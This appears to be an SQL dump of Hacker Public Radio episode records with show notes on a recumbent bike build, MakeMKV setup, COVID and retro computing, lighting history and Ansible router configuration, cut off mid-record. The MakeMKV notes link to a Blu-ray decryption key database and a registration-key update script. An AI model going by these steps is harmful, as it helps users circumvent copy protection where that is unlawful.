(3178,'2020-10-07','Finishing the Recumbent Bicycle',259,'While channeling Stephen Hawking, Brian in Ohio describes finishing and riding the bike','<h2 id=\"websites\">Websites:</h2>\r\n<ul>\r\n<li>recycled recumbent: <a href=\"https://sites.google.com/site/recycledrecumbents/home\" class=\"uri\">https://sites.google.com/site/recycledrecumbents/home</a></li>\r\n<li>cj hoyle milk crate tutorial: <a href=\"https://youtu.be/MvBx_74FzUk\" class=\"uri\">https://youtu.be/MvBx_74FzUk</a></li>\r\n</ul>\r\n<h2 id=\"gallery\">Gallery:</h2>\r\n<p><em>1 - Bending Tools</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_001.jpg\" alt=\"1 - Bending Tools\" /></p>\r\n<p>This is how I clamped up the conduit bending tool in the trusty workmate. In this configuration you can bend the tube to specific angles and make sure the bends stay in plane. The goal here is to create two side rails that are identical. The seat webbing is sewn on to these rails.</p>\r\n<p><em>2 - Needed weights</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_002.jpg\" alt=\"2 - Needed weights\" /></p>\r\n<p>This photo shows some more of how the bending jig was set up. Those are counter weights needed to keep the jig on the ground while the tube is being bent.</p>\r\n<p><em>3 - Seat rail plans</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_003.jpg\" alt=\"3 - Seat rail plans\" /></p>\r\n<p>Mr. Carson provides pdf files that you can print out to be used as templates to match your bends.</p>\r\n<p><em>4 - Marking tubes</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_004.jpg\" alt=\"4 - Marking tubes\" /></p>\r\n<p><em>5 - Sighting down tube</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_005.jpg\" alt=\"5 - Sighting down tube\" /></p>\r\n<p><em>6 - Using marks</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_006.jpg\" alt=\"6 - Using marks\" /></p>\r\n<p><em>7 - Help with angles</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_007.jpg\" alt=\"7 - Help with angles\" /></p>\r\n<p><em>8 - Matching to plans</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_008.jpg\" alt=\"8 - Matching to plans\" /></p>\r\n<p>Pictures 4-8 show the layout of the tubes and how the marks are used to ensure you make mirror image rails for the seat.</p>\r\n<p><em>9 - Matching sides</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_009.jpg\" alt=\"9 - Matching sides\" /></p>\r\n<p><em>10 - Seat backs</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_010.jpg\" alt=\"10 - Seat backs\" /></p>\r\n<p><em>11 - Drilling fish mouths</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_011.jpg\" alt=\"11 - Drilling fish mouths\" /></p>\r\n<p><em>12 - Seat backs ready for trimming</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_012.jpg\" alt=\"12 - Seat backs ready for trimming\" /></p>\r\n<p><em>13 - Finished seat backs</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_013.jpg\" alt=\"13 - Finished seat backs\" /></p>\r\n<p><em>14 - Jigging up</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_014.jpg\" alt=\"14 - Jigging up\" /></p>\r\n<p>Pictures 9-14 outline the steps in fabricating the seat backs. The seat backs tie the rails together and are where the clamps that connect the seat to the frame grab the seat. This part of the construction can be overwhelming if you don\'t take it one step at a time. I had to constantly remind myself that building the bike was not a race but a journey, take your time and enjoy each little milestone. The last picture is the seat frame jigged up and ready for brazing.</p>\r\n<p><em>15 - Seat stay one</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_015.jpg\" alt=\"15 - Seat stay one\" /></p>\r\n<p><em>16 - Seat stay two</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_016.jpg\" alt=\"16 - Seat stay two\" /></p>\r\n<p>The seat stay was at first glance very intimidating. This piece connects the back of the seat down to the frame, supporting the upper part of your body. Its made of many parts, but all they are is cut up pieces of steel rod and threaded rod that are brazed together. No bending is involved only cutting and brazing and in the end it wasn\'t to difficult to fabricate.</p>\r\n<p><em>17 - Seat stay three</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_017.jpg\" alt=\"17 - Seat stay three\" /></p>\r\n<p>The completed seat connected to the frame. The seat is clamped to the frame using hose clamps and clamping blocks made of conduit cut length wise and brazed together at right angles.</p>\r\n<p><em>18 - Seat webbing one</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_018.jpg\" alt=\"18 - Seat webbing one\" /></p>\r\n<p><em>19 - Seat webbing two</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_019.jpg\" alt=\"19 - Seat webbing two\" /></p>\r\n<p>The seat webbing is sewn on using fishing line as described on the website, the only challenge is getting it nice and tight. Needle, line and a few hpr episodes is all you need to get through the task.</p>\r\n<p><em>20 - Finished</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3178/img_020.jpg\" alt=\"20 - Finished\" /></p>\r\n<p>The last picture is the bike finished and ready for its maiden journey.</p>\r\n<h2 id=\"espeak-script\">Espeak script:</h2>\r\n<p>Hello Hacker Public Radio, Brian in Ohio here.</p>\r\n<p>I am out from under my rock, and doing the last of the recumbent bike build episodes. My wife and I are visiting the land of our youth, Colorado, so my recording stuff is at home, hence the espeak rendition of the show. I finished building the bike a while ago and have been riding it around town to do errands and get exercise. I love this bike! The comfort level is unparalleled. Its like sitting in a chase lounge. No more neck strain or pain in the derriere. You don\'t need any fancy bike clothes, like padded biking shorts, in order to feel comfortable. The bike is fast and has responsive handling. Somethings I have learned so far while riding the bike. First, a rear view mirror really helps when riding on the street. Unlike upright bikes turning your head to look back to clear for traffic is not as easy. Next, the handling takes some getting used to. The long lever arm of the steering tube makes the bike feel jerky when you first ride it. After a while you\'ll see that a light hand on the tiller goes a long way to smoothing out the ride. It took me a bit of practice to gracefully get the bike started after coming to a stop. Because you can\'t stand up and hammer on the peddles, coming to a stop requires a bit of work on the gears. Being in a easy gear then shifting up as you get moving is the way to go. If you build one of these bikes, and why wouldn\'t you, you will have to think about storage because throwing a back pack on is not really an option. I found a bike rack that attaches to the back of the bike, a grocery store plastic basket and an instructive video tutorial by C J Hoyle on you tube took care of my storage needs, a link is in the show notes. The last parts that need to be fabricated to complete the bike were the seat and the handle bars, and all of there associated bits and pieces that make up these assemblies. Instead of narrating through all the pictures, I leave you, dear hacker public radio listener, that\'s interested to look at the pictures and read the captions yourself. My general impressions of building the pieces are as follows. The handle bars are relatively easy to fabricate but the big problem for me was the metal on the handle bars you use to make the tiller did not braze well with the conduit. In the end I had to resort to pop rivets and a through bolt to get a safe, sturdy connection. The seat is a collection of many parts and at first glance can be a bit overwhelming. By examining the photos on the recycled recumbent website and studying the plans, focusing on each step the seat came out fine for me, yours will too. The side rails are bent using a conduit bender and the challenge is getting the two sides close to match. Take your time and get some extra conduit, you\'re probably going to need it. The seat back stay is pretty easy to make, but it is made up of quite a few parts, requiring simple cuts and brazing to fashion it. The rest of the seat parts, the various fittings used to clamp the seat to the frame are pretty easy to make and I can\'t compliment Mr. Carsen highly enough for his ingenious design. Fitting out the bike; getting wheels, brakes and drive train together are going to be unique to every bike and will depend on how much money you want to spend, what parts you have laying around and what fittings you might have to create to attach the parts. I opted to use used parts that were at hand so I could get the bike up and running. I plan on upgrading parts, making changes and improvements after I\'ve ridden the bike for a few months and gotten a good number of miles under my belt. I\'ll do an update show in the future to let you know what I\'ve done. Will I do this again? Yes definitely I will build another bike, maybe a mach two or three, the building is fun the bike rides great. Mr Carsen sells parts, kits and completed bikes on his website. When I do it again I may opt to buy the seat from him. I would recommend this project to anyone. You can, go out and build one yourself.</p>\r\n<p>This is Brian in Ohio signing off for now reminding every one to: go fast; take chances.</p>\r\n',326,115,0,'CC-BY-SA','bicycle, recumbent',0,0,1),
(3179,'2020-10-08','MakeMKV to back up media, and a Question',404,'Describing two ways to install MakeMKV DVD/Blu-ray backup program on Fedora 32','<p>Installed Fedora 32 on a spare laptop</p>\r\n<h5 id=\"quick-tip\">Quick tip</h5>\r\n<p>To ignore the handle switch on the laptop triggering a power off:</p>\r\n<p>Put <code>HandleLidSwitch=ignore</code> in <code>/etc/systemd/logind.conf</code></p>\r\n<h4 id=\"install-makemkv-from-source\">Install MakeMKV from source</h4>\r\n<pre><code>dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm\r\n\r\ndnf install zlib-devel openssl-devel expat-devel ffmpeg ffmpeg-devel qt5-qtbase-devel\r\nmkdir git/makemkv.source\r\n\r\ncd makemkv.source\r\nwget https://www.makemkv.com/download/makemkv-oss-1.15.2.tar.gz\r\nwget https://www.makemkv.com/download/makemkv-bin-1.15.2.tar.gz\r\n\r\ntar xpf makemkv-oss-1.15.2.tar.gz\r\ntar xpf makemkv-bin-1.15.2.tar.gz\r\n\r\ncd makemkv-oss-1.15.2/\r\n./configure\r\nmake\r\nsudo make install\r\n\r\ncd ../makemkv-bin-1.15.2/\r\nmake\r\nsudo make install</code></pre>\r\n<h4 id=\"install-makemkv-from-flathub\">Install MakeMKV from flathub</h4>\r\n<pre><code>flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo\r\nflatpak install flathub com.makemkv.MakeMKV</code></pre>\r\n<h4 id=\"install-ccextractor\">Install ccextractor</h4>\r\n<pre><code>dnf install libtesseract-dev autoconf sysconftool\r\n\r\ngit clone https://github.com/CCExtractor/ccextractor.git\r\ncd ccextractor/linux/\r\n./build</code></pre>\r\n<h4 id=\"enable-expert-mode\">Enable expert mode</h4>\r\n<p><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3179/img_001.png\" /></p>\r\n<h4 id=\"provide-path-to-the-ccextractor-binary\">Provide path to the ccextractor binary</h4>\r\n<p><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3179/img_002.png\" /></p>\r\n<h4 id=\"re-encoding-mkv-file\">Re-encoding MKV file</h4>\r\n<pre><code>ffmpeg -i $1 -b:a 128k -b:v 2000k -vcodec mpeg4 -acodec aac &quot;encoded&quot;/&quot;`basename -s .mkv $1`-_2000k_aac.mkv&quot;</code></pre>\r\n<h4 id=\"updated-registration-key-good-for-2-months\">Updated registration key (Good for 2 months?)</h4>\r\n<p><a href=\"https://www.makemkv.com/forum/viewtopic.php?t=1053\">Updated registration key for MakeMKV</a></p>\r\n<h4 id=\"makemkv-registration-code-update-script-untested\">MakeMKV registration code update script (Untested)</h4>\r\n<p><a href=\"https://github.com/AyrA/MakeMKV\">Github link to MakeMKV registration update script</a></p>\r\n<h4 id=\"other-links\">Other links</h4>\r\n<p><a href=\"https://linuxconfig.org/how-to-install-makemkv-on-fedora-linux\">How to install MakeMKV on Fedora Linux</a> <br> <a href=\"https://www.makemkv.com/forum/viewtopic.php?f=3&amp;t=224&amp;sid=4e978698972df3de5f4e055c39370e03\">Forum post for MakeMKV on Linux</a></p>\r\n<h4 id=\"how-to-playrip-blu-ray-discs-on-mplayer-command-line\">How to play/rip Blu-ray discs on Mplayer command line</h4>\r\n<p>For DVD\'s</p>\r\n<pre><code>mplayer dvd:///_/dvd/mount/dir_</code></pre>\r\n<p>For Blu-ray discs <br> Download keydb.cfg and place it in <code>~/.config/aacs/</code> <br> <a href=\"https://fvonline-db.bplaced.net/\">Link to keydb.cfg</a></p>\r\n<pre><code>mplayer br:///_/bluray/mount/dir_\r\nie. mplayer br:////dev/sr0 &lt;br&gt;</code></pre>\r\n<p>note the 3 forward slashes before the block device, as the disk will not be read otherwise</p>\r\n<p>Ripping:</p>\r\n<pre><code>mplayer br:////dev/sr0 -alang en -dumpstream -dumpfile $movie.mpg</code></pre>\r\n<p>Encoding:</p>\r\n<pre><code>mkdir encoded\r\nffmpeg -i $1 -map 0:0 -map 0:1 -b:a 128k -b:v 2000k -vcodec mpeg4 &quot;encoded&quot;/&quot;`basename -s .mpg $1`.mkv&quot;</code></pre>\r\n<h4 id=\"questions-for-the-community\">Questions for the Community:</h4>\r\n<p>Is it antiquated to want to rip Blu-ray/DVD disks to a server?</p>\r\n<p>Is there a better way to accomplish this, rather than using MakeMKV, which continues to be Beta software, and not Free and Open Source?</p>\r\n',318,0,0,'CC-BY-SA','dvd, blu-ray, backup',0,0,1),
(3182,'2020-10-13','Yo-ho-ho, and a bottle of Cholecalciferol',4763,'From Scotland, two HPR hosts chew the fat','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Two HPR hosts from Scotland get together over Mumble one more time to chat about all manner of stuff.</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<p>We recorded on Saturday 19<sup>th</sup> September 2020, which was <a href=\"https://en.wikipedia.org/wiki/International_Talk_Like_a_Pirate_Day\"><em>International Talk Like A Pirate Day</em></a>, we but managed to avoid any utterances of <em>ARRRR!</em>, and the use of marlinspikes, fids or belaying pins. Also, no timbers were shivered and no mainbraces spliced (not while recording anyway).</p>\r\n<h2 id=\"notes\">Notes</h2>\r\n<p>Some of the topics we discussed:</p>\r\n<ul>\r\n<li>COVID-19:\r\n<ul>\r\n<li>The increase in COVID-19 cases in Scotland, particularly Glasgow\r\n<ul>\r\n<li>Movement in Glasgow is more restricted than in Edinburgh at time of recording</li>\r\n</ul></li>\r\n<li>The <a href=\"https://www.kcl.ac.uk/news/new-symptom-tracking-app-aims-to-slow-spread-of-coronavirus\">KCL COVID tracker</a>, described further in an <a href=\"https://www.kcl.ac.uk/news/spotlight/spotlight-on-covid-tracking-the-symptoms\">article with more details</a>\r\n<ul>\r\n<li>Andrew is using this</li>\r\n</ul></li>\r\n<li>Is Glasgow the most infected city in the UK?</li>\r\n<li><a href=\"https://www.microbe.tv/twiv/\">This week in Virology podcast</a> discussing easing of lock down and return of children to school, both likely to increase infections.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Vitamin_D\">Vitamin D</a> (D<sub>3</sub> in particular<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>) seems to have a beneficial effect in COVID-19 cases. Having an optimal level of the vitamin seems to help ameliorate the COVID-19 effects, whereas being deficient can apparently result in more severe effects. See the study in the <a href=\"https://t.co/oXb0fr5NyE?amp=1\"><em>Journal of Steroid Biochemistry and Molecular Biology</em></a></li>\r\n<li>Long-term immunity and t-cells: <a href=\"https://www.nature.com/articles/s41586-020-2550-z\">see the Nature paper mentioned in the episode</a></li>\r\n<li>The virus is called <code>SARS-CoV-2</code><a href=\"#fn2\" class=\"footnote-ref\" id=\"fnref2\" role=\"doc-noteref\"><sup>2</sup></a> (as opposed to <code>SARS-CoV-1</code>, the previous <em>SARS</em> coronavirus). The disease is called <code>COVID-19</code><a href=\"#fn3\" class=\"footnote-ref\" id=\"fnref3\" role=\"doc-noteref\"><sup>3</sup></a>.</li>\r\n<li>Speculations heard:\r\n<ul>\r\n<li>Whether having had the <a href=\"https://en.wikipedia.org/wiki/BCG_vaccine\">BCG immunisation</a> against tuberculosis helps protect from COVID-19.</li>\r\n<li>Whether exposure to other (milder) corona viruses can provide immunity to <code>SARS-CoV-2</code>.</li>\r\n</ul></li>\r\n<li>The puzzling case of Sweden and COVID-19</li>\r\n<li>Have there been randomised controlled trials of the effectiveness of the masks in common use?<a href=\"#fn4\" class=\"footnote-ref\" id=\"fnref4\" role=\"doc-noteref\"><sup>4</sup></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>What we’re doing in lockdown:\r\n<ul>\r\n<li>Dave: cooking for the family 2 nights a week; shopping “<em>by proxy</em>”; not going to the gym yet</li>\r\n<li>Andrew: exercising at home; tried the gym a couple of times but was put off by overcrowding; working on the BBC Micro (check HPR show <a href=\"https://hackerpublicradio.org/eps.php?id=2731\"><em>hpr2731 :: My 8 bit Christmas</em></a>)</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/BBC_Micro\">BBC Micro</a>:\r\n<ul>\r\n<li>A 32KiB 8-bit computer based around the 6502 CPU, made by <a href=\"https://en.wikipedia.org/wiki/Acorn_Computers\">Acorn Computers Ltd.</a></li>\r\n<li>Game: <a href=\"https://bbcmicro.co.uk/game.php?id=89\"><em>Twin Kingdom Valley</em></a> originally played by Andrew in 1982/3. He has been:\r\n<ul>\r\n<li>Disassembling the game (which is in machine code).\r\n<ul>\r\n<li>Disassembly is non-trivial when data is interleaved with the code.</li>\r\n</ul></li>\r\n<li>Rewriting the non-graphic code in C</li>\r\n</ul></li>\r\n<li>The BBC had a paged ROM area known as the <em>Sideways ROM</em> (see the <a href=\"https://mdfs.net/Docs/Comp/BBC/AllMem\">System Memory Map</a>)</li>\r\n<li>Andrew had the ROM game <em>Dr. Who and the Mines of Terror!</em>.</li>\r\n<li>The 65C02 processor is still being made!</li>\r\n<li><a href=\"https://www.youtube.com/c/BenEater\">Ben Eater on YouTube</a> is explaining the workings of the 6502, amongst other things.\r\n<ul>\r\n<li>Andrew has bought a <a href=\"https://eater.net/6502\">6502 kit from Ben Eater</a></li>\r\n</ul></li>\r\n<li>The 6502 could be seen as an early RISC (Reduced Instruction Set) machine (though not intentionally). Acorn created the Acorn RISC Machine (ARM) for the Archimedes and eventually spun off <em>ARM Ltd.</em></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Internet bandwidth in Scotland\r\n<ul>\r\n<li>Dave’s street has just had optical fibre installed. He has an ADSL link at present which is slow and not always reliable</li>\r\n<li>Andrew has cable, which is very reliable. Reliability is more important than very high speeds, as is low latency</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>HPR queue state:\r\n<ul>\r\n<li>OK for the next couple of weeks (at time of recording)</li>\r\n<li>A new show then arrived <b>at that point</b>!</li>\r\n<li>HPR always needs shows!</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Programming languages:\r\n<ul>\r\n<li>Dave hasn’t been too keen on using assembler since the late 1980’s</li>\r\n<li>Andrew has been a Java programmer but likes the slimness of C</li>\r\n<li>Dave tinkered with FORTH on the BBC Micro at one time, and wrote some stuff in PostScript as a programming language</li>\r\n<li>FORTH was used to control telescopes at one time</li>\r\n</ul></li>\r\n</ul>\r\n<section class=\"footnotes\" role=\"doc-endnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\" role=\"doc-endnote\"><p>Vitamin D<sub>3</sub> is also known as <em>cholecalciferol</em>.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\r\n<li id=\"fn2\" role=\"doc-endnote\"><p><code>SARS-CoV-2</code>: <code>SARS</code> stands for <em>Severe Acute Respiratory Syndrome</em>, <code>CoV</code> means <em>Corona Virus</em> and the 2 refers to the second SARS corona virus in recent times.<a href=\"#fnref2\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\r\n<li id=\"fn3\" role=\"doc-endnote\"><p><code>COVID-19</code>: simply means <em>coronavirus disease 19</em>, referring to its arrival in 2019.<a href=\"#fnref3\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\r\n<li id=\"fn4\" role=\"doc-endnote\"><p>Some clarification of the types of mask being used most commonly might be needed. Andrew was thinking of the fabric masks when speaking about this. Some research after the recording discovered a mask-related trial as follows: <a href=\"https://www.ijidonline.com/article/S1201-9712(20)30399-4/fulltext\">Human coronavirus data from four clinical trials of masks and respirators</a>.<a href=\"#fnref4\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\r\n</ol>\r\n</section>\r\n',225,0,1,'CC-BY-SA','COVID-19,SARS-Cov-2,Vitamin D,6502 microprocessor,BBC Micro',0,0,1),
(3181,'2020-10-12','RealVNC cloud offering',262,'JWP emails in a show about using VNC while out and about','<p>\r\nJust a short podcast about RealVNC cloud offering.\r\nAn interesting VNC option if you want to connect on the road or the at\r\nthe coffee shop to a server back home without putting holes in your router.\r\n</p>\r\n<p>\r\n<a href=\"https://www.realvnc.com/en/news/what-vnc-cloud/\">https://www.realvnc.com/en/news/what-vnc-cloud/</a>\r\n</p>',129,0,1,'CC-BY-SA','realvnc, remote computing',0,0,1),
(3184,'2020-10-15','Linux Inlaws S01E15: IT Security and stick insects',3368,'How to secure photos of your stick insect collection and more ','<p>In this episode Martin discovers that protecting pictures of stick insects (rated XXX or not)\r\non USB sticks (pun intended) can be an ardous endeavour indeed. Never mind eventually turning\r\nthis into a business including web servers, shared file spaces and password storage. Additional\r\nbonus: the lovely Emma from Rainbow Escorts makes another cameo apperance supported by some Irish, um, students.</p>\r\n<h3>Shownotes:</h3>\r\n<ul>\r\n<li>Linux Unified Key Setup (LUKS): <a href=\"https://gitlab.com/cryptsetup/cryptsetup/blob/master/README.md\" target=\"_blank\">https://gitlab.com/cryptsetup/cryptsetup/blob/master/README.md</a></li>\r\n<li>EncFS: <a href=\"https://vgough.github.io/encfs\" target=\"_blank\">https://vgough.github.io/encfs</a></li>\r\n<li>EcryptFS: <a href=\"https://www.ecryptfs.org\" target=\"_blank\">https://www.ecryptfs.org</a></li>\r\n<li>Keepass: <a href=\"https://keepass.info/\" target=\"_blank\">https://keepass.info/</a></li>\r\n<li>Snort: <a href=\"https://www.snort.org\" target=\"_blank\">https://www.snort.org</a></li>\r\n<li>Fail2ban: <a href=\"https://www.fail2ban.org/wiki/index.php/Main_Page\" target=\"_blank\">https://www.fail2ban.org/wiki/index.php/Main_Page</a></li>\r\n<li>PSAD: <a href=\"https://cipherdyne.org/psad\" target=\"_blank\">https://cipherdyne.org/psad</a></li>\r\n<li>Nextcloud: <a href=\"https://nextcloud.com\" target=\"_blank\">https://nextcloud.com</a></li>\r\n<li>Tor: <a href=\"https://torproject.org\" target=\"_blank\">https://torproject.org</a></li>\r\n<li>OPENVPN: <a href=\"https://openvpn.net\" target=\"_blank\">https://openvpn.net</a></li>\r\n<li>WireGuard: <a href=\"https://www.wireguard.com\" target=\"_blank\">https://www.wireguard.com</a></li>\r\n<li>boringtun: <a href=\"https://github.com/cloudflare/boringtun\" target=\"_blank\">https://github.com/cloudflare/boringtun</a></li>\r\n<li>DistroWatch: <a href=\"https://distrowatch.com\" target=\"_blank\">https://distrowatch.com</a></li>\r\n</ul>',384,111,0,'CC-BY-SA','IT Security, stick insects, Rainbow Escorts, Grumpy Old Coders',0,0,1),
(3183,'2020-10-14','Don\'t trust zipfiles',277,'Zipfiles can contain all kinds of evilness and unpacking them can lead to unexpected results','<p>This show explains the concept of injecting symbolic links into zipfiles and how those can be used to attack a web application.</p>',387,74,0,'CC-BY-SA','pentesting,security,hacking,zip',0,0,1),
(3186,'2020-10-19','A light bulb moment, part 2',450,'The history of lighting','<p><u><strong>A very brief history of lighting </strong></u></p>\r\n<p>Natural light first came from fire</p>\r\n<p>Then using oil and fat with a wick</p>\r\n<p>Early candles used animal fat this smelled awful and tended to spit</p>\r\n<p>Some parts of world used whole animals as candles</p>\r\n<p>These early candles gave so little light that people generally just went to bed at sunset</p>\r\n<p>Electric lighting started first by Humphry Davy in the early 1800’s using an arc, this was developed into commercial lighting in the 1840s</p>\r\n<p>Arc lighting needed a complex mechanism to gradually push the contacts together as they burnt away</p>\r\n<p>Gas lighting started around the 1850s this was improved in the 1870 with the advent of the Gas mantel.</p>\r\n<p>Thomas Edison develop the electric light bulb in 1879 using a carbon filament. It took a great deal of effort to convince people to use it because gas lighting was so well established and worked well.</p>\r\n<p>Many houses in Britain didn\'t install electric lighting until the 1930s</p>\r\n<p>Finally electricity won as it could be used for so many other things.</p>\r\n<p><u><strong>The tungsten filament bulb</strong></u></p>\r\n<p>The filament within the bulb is made up of a tungsten coiled coil wire. This is done because the more compactly a filament can be wound the less heat is lost to the surroundings and the brighter the bulb will glow.</p>\r\n<p><u><strong>The tungsten halogen bulb</strong></u></p>\r\n<p>The next progression was tungsten halogen bulb, these bulbs are more efficient and give out twice as much light as ordinary bulbs and usually last twice as long.</p>\r\n<p>All filament lights waste a lot of energy producing heat. An ordinary light bulb only gives out 10% of its energy as light, the rest is wasted as heat.</p>\r\n<p><u><strong>Fluorescent neon lights</strong></u></p>\r\n<p>Fluorescent neon lights were invented in 1905 by a French man called George Claude. These were used for advertising mainly in America.</p>\r\n<p><u><strong>Fluorescent strip light</strong></u></p>\r\n<p>The first fluorescent light was introduced in 1939 it uses the same principle as the neon light but incorporates a filament at both ends. It is filled with argon and mercury vapour. It mainly gives off ultra violet light the tube is coated on the inside with chemicals to convert the output to mostly visible light using a property called fluorescence.</p>\r\n<p>Fluorescent tubes are four times as efficient as normal incandescent light bulbs and run cool.</p>\r\n<p>The first energy efficient light bulbs were just fluorescent lights folded into a compact bulb shape.</p>\r\n<p><u><strong>Sodium lights</strong></u></p>\r\n<p>Sodium lights used mainly in street lighting are twice as efficient again as fluorescent bulbs they give off a rather horrible orange colour.</p>\r\n<p>The first commercial high-pressure sodium lamps were available in 1965 from companies in the United States, the United Kingdom, and the Netherlands; at introduction a 400 watt lamp would produce around 100 lumens per watt <a href=\"https://en.wikipedia.org/wiki/Sodium-vapor_lamp\" class=\"uri\">https://en.wikipedia.org/wiki/Sodium-vapor_lamp</a></p>\r\n<p>The next big development was LED lighting which I\'ll cover in my next episode.</p>\r\n',201,0,0,'CC-BY-SA','Hardware, electrical',0,0,1),
(3187,'2020-10-20','Ansible for Dynamic Host Configuration Protocol',518,'How I use ansible to configure my OpenBSD router','<h1 id=\"ansible-dhcpd-and-dns\">Ansible DHCPD and DNS</h1>\r\n<h2 id=\"using-ansible-to-configure-dhcpd-and-nds-on-openbsd\">Using Ansible to configure DHCPD and NDS on OpenBSD</h2>\r\n<ul>\r\n<li>Host data is stored in csv files</li>\r\n<li>Ansible templates to create config files</li>\r\n<li>Restart services</li>\r\n</ul>\r\n<h2 id=\"hostname-setup.yml\">hostname-setup.yml</h2>\r\n<pre><code>---\r\n- hosts: localhost\r\n  tasks:\r\n  - name: read subnet 10\r\n    read_csv:\r\n      path: 10.csv\r\n      fieldnames: mac,ip,hostname\r\n    register: subnet_10\r\n  - name: read subnet 11\r\n    read_csv:\r\n      path: 11.csv\r\n      fieldnames: mac,ip,hostname\r\n    register: subnet_11\r\n  - name: read static\r\n    read_csv:\r\n      path: static.csv\r\n      fieldnames: hostname,ip\r\n    register: static_ip\r\n\r\n  - name: write dhcp file\r\n    template:\r\n      src: dhcpd.conf.j2\r\n      dest: /etc/dhcpd.conf\r\n      validate: dhcpd -nc %s\r\n  - name: write local.lan zone file\r\n    template:\r\n      src: local.lan.zone.j2\r\n      dest: /var/nsd/zones/master/local.lan\r\n      owner: root\r\n      group: _nsd\r\n      validate: nsd-checkzone local.lan %s\r\n  - name: nsd_conf\r\n    copy:\r\n      src: nsd.conf\r\n      dest: /var/nsd/etc/nsd.conf\r\n      owner: root\r\n      group: _nsd\r\n      validate: nsd-checkconf %s\r\n  - name: restart nsd\r\n    service:\r\n      name: nsd\r\n      state: restarted\r\n  - name: restart dhcpd\r\n    service:\r\n      name: dhcpd\r\n      state: restarted\r\n  - name: restart unbound\r\n    service:\r\n      name: unbound\r\n      state: restarted</code></pre>\r\n<h2 id=\"csv\">10.csv</h2>\r\n<pre><code>b8:27:eb:8b:7a:6d,192.168.10.100,pi3a\r\nb8:27:eb:ef:f2:d4,192.168.10.101,pi3b\r\n28:10:7b:25:d5:60,192.168.10.79,ipcam3\r\n28:10:7b:0c:fa:7b,192.168.10.80,ipcam1\r\nf0:7d:68:0b:ca:56,192.168.10.81,ipcam2</code></pre>\r\n<h2 id=\"static.csv\">static.csv</h2>\r\n<pre><code>tplink,192.168.10.2\r\ngate,192.168.10.10\r\nwww,192.168.10.10\r\nfox,192.168.10.17</code></pre>\r\n<h2 id=\"dhcpd.conf.j2\">dhcpd.conf.j2</h2>\r\n<pre><code>option  domain-name &quot;local.lan&quot;;\r\noption  domain-name-servers 192.168.10.10;\r\n\r\nsubnet 192.168.10.0 netmask 255.255.255.0 {\r\n        option routers 192.168.10.10;\r\n        range 192.168.10.161 192.168.10.179;\r\n        {% for host in subnet_10.list %}\r\n        host static-client { hardware ethernet {{ host.mac }};fixed-address {{ host.ip }};} #{{ host.hostname }}\r\n        {% endfor %}\r\n}\r\n\r\nsubnet 192.168.11.0 netmask 255.255.255.0 {\r\n    option routers 192.168.11.10;\r\n    range 192.168.11.72 192.168.11.127;\r\n{% for host in subnet_11.list %}\r\nhost static-client { hardware ethernet {{ host.mac }};fixed-address {{ host.ip }};} #{{ host.hostname }}\r\n{% endfor %}\r\n}\r\n</code></pre>\r\n<h3 id=\"rendered-dhcp-entires\">Rendered DHCP entires</h3>\r\n<pre><code>host static-client { hardware ethernet b8:27:eb:de:2f:38;fixed-address 192.168.10.45;} #pi3a\r\nhost static-client { hardware ethernet 28:10:7b:25:d5:60;fixed-address 192.168.10.79;} #ipcam3\r\nhost static-client { hardware ethernet 28:10:7b:0c:fa:7b;fixed-address 192.168.10.80;} #ipcam1\r\n</code></pre>\r\n<h2 id=\"local.lan.zone.j2\">local.lan.zone.j2</h2>\r\n<pre><code>$TTL 3600\r\nlocal.lan. IN     SOA    a.root-servers.net. root. (\r\n                2016092901  ; Serial\r\n                3H          ; refresh after 3 hours\r\n                1H          ; retry after 1 hour\r\n                1W          ; expire 